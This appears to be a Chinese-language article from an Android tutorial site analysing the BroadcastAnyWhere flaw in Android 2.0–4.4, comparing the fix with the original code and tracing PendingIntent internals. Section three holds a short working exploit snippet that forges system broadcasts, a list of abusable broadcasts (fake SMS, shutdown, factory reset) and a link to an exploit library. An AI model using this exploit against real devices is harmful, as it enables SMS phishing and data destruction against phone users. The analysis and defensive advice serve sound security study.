Android教程網
  1. 首頁
  2. Android 技術
  3. Android 手機
  4. Android 系統教程
  5. Android 游戲

BroadcastAnyWhere(Google Bug 17356824)漏洞深度剖析

編輯:關於 Android 程式設計

繼此前的 LaunchAnyWhere 組件安全漏洞之後,Google 又在 Android 5.0 的源碼中修復了一個高危漏洞——BroadcastAnyWhere。它簡直就是 LaunchAnyWhere 的姊妹版。利用這個漏洞,攻擊者可以以 system 用戶的身份發送廣播,這意味著它可以無視一切 BroadcastReceiver 組件的訪問限制。而且影響范圍極廣:Android 2.0 至 4.4.x 均受影響。

一、修復前後的代碼對比

兩個漏洞的利用原理非常類似,都建立在「Setting 應用以 system uid 運行、擁有極高權限」這一前提上,也都出現在「添加帳戶」的流程中,只不過 BroadcastAnyWhere 觸發的時機更早一些。

核心代碼位於 AddAccountSettings 的 addAccount() 方法。

修復前:

private static final String KEY_CALLER_IDENTITY = "pendingIntent";

private void addAccount(String accountType) {
    Bundle addAccountOptions = new Bundle();
    mPendingIntent = PendingIntent.getBroadcast(this, 0, new Intent(), 0);
    addAccountOptions.putParcelable(KEY_CALLER_IDENTITY, mPendingIntent);
    addAccountOptions.putBoolean(EXTRA_HAS_MULTIPLE_USERS, Utils.hasMultipleUsers(this));
    AccountManager.get(this).addAccount(
            accountType, null, /* authTokenType */
            null,            /* requiredFeatures */
            addAccountOptions, null, mCallback, null /* handler */);
    mAddAccountCalled = true;
}

修復後:

private static final String KEY_CALLER_IDENTITY = "pendingIntent";
private static final String SHOULD_NOT_RESOLVE = "SHOULDN'T RESOLVE!";

private void addAccount(String accountType) {
    Bundle addAccountOptions = new Bundle();
    /*
     * The identityIntent is for the purposes of establishing the identity
     * of the caller and isn't intended for launching activities, services
     * or broadcasts.
     *
     * Unfortunately for legacy reasons we still need to support this. But
     * we can cripple the intent so that 3rd party authenticators can't
     * fill in addressing information and launch arbitrary actions.
     */
    Intent identityIntent = new Intent();
    identityIntent.setComponent(new ComponentName(SHOULD_NOT_RESOLVE, SHOULD_NOT_RESOLVE));
    identityIntent.setAction(SHOULD_NOT_RESOLVE);
    identityIntent.addCategory(SHOULD_NOT_RESOLVE);
    mPendingIntent = PendingIntent.getBroadcast(this, 0, identityIntent, 0);
    addAccountOptions.putParcelable(KEY_CALLER_IDENTITY, mPendingIntent);
    addAccountOptions.putBoolean(EXTRA_HAS_MULTIPLE_USERS, Utils.hasMultipleUsers(this));
    AccountManager.get(this).addAccountAsUser(
            accountType, null, /* authTokenType */
            null,            /* requiredFeatures */
            addAccountOptions, null, mCallback, null /* handler */, mUserHandle);
    mAddAccountCalled = true;
}

修復方案本質上只有一句話:把放入 mPendingIntent 的那個 Intent,從原來的空 new Intent() 換成事先填滿了毫無意義內容的 identityIntent。這樣第三方 Authenticator 就無法再進行「二次填充」。

請特別注意:修復前傳入 PendingIntent.getBroadcast() 的是一個完全空白的 Intent 對象——這是後續分析的關鍵。

二、PendingIntent 的實現原理

如果你對 PendingIntent 的細節已經很熟悉,這一節可以跳過。源碼中介紹得很清楚:

By giving a PendingIntent to another application, you are granting it the right to perform the operation you have specified as if the other application was yourself (with the same permissions and identity). As such, you should be careful about how you build the PendingIntent: almost always, for example, the base Intent you supply should have the component name explicitly set to one of your own components, to ensure it is ultimately sent there and nowhere else.

翻譯過來就是:把 PendingIntent 交給另一個應用,等於授予它「以你的身份和權限執行某個操作」的權利。因此構造 PendingIntent 時必須格外小心,幾乎所有情況下都應該把基礎 Intent 的組件名顯式指向自己的組件,以確保它只會被發送到那裡、而不會去別的地方。

官方文檔的這段警告,恰恰就是本漏洞的成因。

PendingIntent 是一個 Parcelable 對象,內部有一個 mTarget 成員,類型是 IIntentSender,其實它是個 Binder 代理對象,真正的邏輯實現在 PendingIntentRecord.java。從源碼可知,PendingIntent.getBroadcast() 最終調用的是 ActivityManagerService 的 getIntentSender():

public IIntentSender getIntentSender(int type, String packageName, IBinder token,
        String resultWho, int requestCode, Intent[] intents, String[] resolvedTypes,
        int flags, Bundle options, int userId) {
    enforceNotIsolatedCaller("getIntentSender");
    ...
    synchronized (this) {
        int callingUid = Binder.getCallingUid();
        int origUserId = userId;
        userId = handleIncomingUser(Binder.getCallingPid(), callingUid, userId,
                type == ActivityManager.INTENT_SENDER_BROADCAST,
                false, "getIntentSender", null);
        ...
        return getIntentSenderLocked(type, packageName, callingUid, userId, token,
                resultWho, requestCode, intents, resolvedTypes, flags, options);
    }
}
IIntentSender getIntentSenderLocked(int type, String packageName, int callingUid,
        int userId, IBinder token, String resultWho, int requestCode,
        Intent[] intents, String[] resolvedTypes, int flags, Bundle options) {
    ActivityRecord activity = null;
    ...
    PendingIntentRecord.Key key = new PendingIntentRecord.Key(type, packageName,
            activity, resultWho, requestCode, intents, resolvedTypes, flags, options, userId);
    // 根據調用者信息生成 Key
    WeakReference<PendingIntentRecord> ref;
    ref = mIntentSenderRecords.get(key);
    PendingIntentRecord rec = ref != null ? ref.get() : null;
    ...
    rec = new PendingIntentRecord(this, key, callingUid);
    mIntentSenderRecords.put(key, rec.ref);
    ...
    return rec;
}

也就是說,AMS 會把創建者的信息保存到 PendingIntentRecord.Key 中,並為它維護一個 PendingIntentRecord 對象——這是一個 BinderStub。觸發時調用 sendInner():

int sendInner(int code, Intent intent, String resolvedType,
        IIntentReceiver finishedReceiver, String requiredPermission,
        IBinder resultTo, String resultWho, int requestCode,
        int flagsMask, int flagsValues, Bundle options) {
    synchronized (owner) {
        if (!canceled) {
            sent = true;
            if ((key.flags & PendingIntent.FLAG_ONE_SHOT) != 0) {
                owner.cancelIntentSenderLocked(this, true);
                canceled = true;
            }
            Intent finalIntent = key.requestIntent != null
                    ? new Intent(key.requestIntent) : new Intent();
            if (intent != null) {
                int changes = finalIntent.fillIn(intent, key.flags); // 用傳入的 intent 填充
                if ((changes & Intent.FILL_IN_DATA) == 0) {
                    resolvedType = key.requestResolvedType;
                }
            } else {
                resolvedType = key.requestResolvedType;
            }
            ...
            switch (key.type) {
                case ActivityManager.INTENT_SENDER_BROADCAST:
                    try {
                        owner.broadcastIntentInPackage(key.packageName, uid, finalIntent,
                                resolvedType, finishedReceiver, code, null, null,
                                requiredPermission, (finishedReceiver != null),
                                false, userId);
                        sendFinish = false;
                    } catch (RuntimeException e) { }
                    break;
                ...
            }
            return 0;
        }
    }
    return ActivityManager.START_CANCELED;
}

關鍵就在 finalIntent.fillIn(intent, key.flags) 這一行:它會用調用者傳入的 intent 去填充原來的 finalIntent。而由於修復前 finalIntent 是一個「空」intent(action、data、type 全為 null),幾乎任何字段都能被填進去。來看 fillIn() 的判斷邏輯:

public int fillIn(Intent other, int flags) {
    int changes = 0;
    if (other.mAction != null && (mAction == null || (flags & FILL_IN_ACTION) != 0)) {
        mAction = other.mAction;
        changes |= FILL_IN_ACTION;
    }
    if ((other.mData != null || other.mType != null) &&
            ((mData == null && mType == null) || (flags & FILL_IN_DATA) != 0)) {
        mData = other.mData;
        mType = other.mType;
        changes |= FILL_IN_DATA;
    }
    if (other.mCategories != null && (mCategories == null || (flags & FILL_IN_CATEGORIES) != 0)) {
        mCategories = new ArraySet<String>(other.mCategories);
        changes |= FILL_IN_CATEGORIES;
    }
    // Component 是特例:必須顯式允許才能設置,
    // 否則發送者就能把 intent 強行送到開發者原本並不打算送的地方
    if (other.mComponent != null && (flags & FILL_IN_COMPONENT) != 0) {
        mComponent = other.mComponent;
        changes |= FILL_IN_COMPONENT;
    }
    mFlags |= other.mFlags;
    ...
    return changes;
}

結論很清楚:除了 mComponent 之外,其餘字段幾乎都可以被隨意指定。而對於發送廣播來說,這已經足夠了。

三、漏洞利用與危害

有了前面的分析,利用代碼就非常直白。這裡是一個偽造系統開機廣播的例子:

// the exploit of broadcastAnyWhere
final String KEY_CALLER_IDENTITY = "pendingIntent";
PendingIntent pendingintent = options.getParcelable(KEY_CALLER_IDENTITY);
Intent intent_for_broadcast = new Intent(Intent.ACTION_BOOT_COMPLETED);
intent_for_broadcast.putExtra("info", "I am bad boy");
try {
    pendingintent.send(mContext, 0, intent_for_broadcast);
} catch (CanceledException e) {
    e.printStackTrace();
}

可利用的廣播實在太多了,隨手列幾個:

  • 發送 android.provider.Telephony.SMS_DELIVER:偽造一條「新短信」,發件人可以是任何人;
  • 發送 android.intent.action.ACTION_SHUTDOWN:直接關機;
  • 發送 com.google.android.c2dm.intent.RECEIVE:觸發恢復出廠設置。

其中最值得警惕的是短信偽造。攻擊者可以僞造一條看起來來自親朋好友、甚至來自銀行和電商的短信,內容與正常短信完全無異,普通用戶根本無法甄別。配合釣魚鏈接,成功率相當可觀。此外,利用恢復出廠設置進行破壞或勒索威脅,也是現實中出現過的攻擊手法。

四、ComponentSuperAccessor

結合 LaunchAnyWhere 與 BroadcastAnyWhere 兩個漏洞,我把它們的利用思路適當封裝成了一個名為 ComponentSuperAccessor 的庫,有興趣的朋友可以到以下地址查看:
https://github.com/boyliang/ComponentSuperAccessor.git

五、防禦建議

對開發者而言:

  • PendingIntent 盡可能不要跨進程傳遞,避免權限洩漏;
  • 如果確實需要傳遞,一定要把其中的 Intent 字段填充完整,特別是顯式指定組件名,避免被惡意重定向;
  • 遵循官方文檔的告誡:出現在 PendingIntent 中的基礎 Intent,應當指向自己的組件。

對用戶與廠商而言:盡快升級到 Android L 及以上版本。這個漏洞的修復方案本身非常輕量——只是把一個空 Intent 換成了填滿的 Intent——但它所揭示的設計缺陷卻值得所有做系統開發的人深思:當一個高權限進程願意「借用」自己的身份給外部時,就必須假定對方一定會濫用這份信任。

  1. 上一篇文章:
  2. 下一篇文章:
Copyright © Android教程網 All Rights Reserved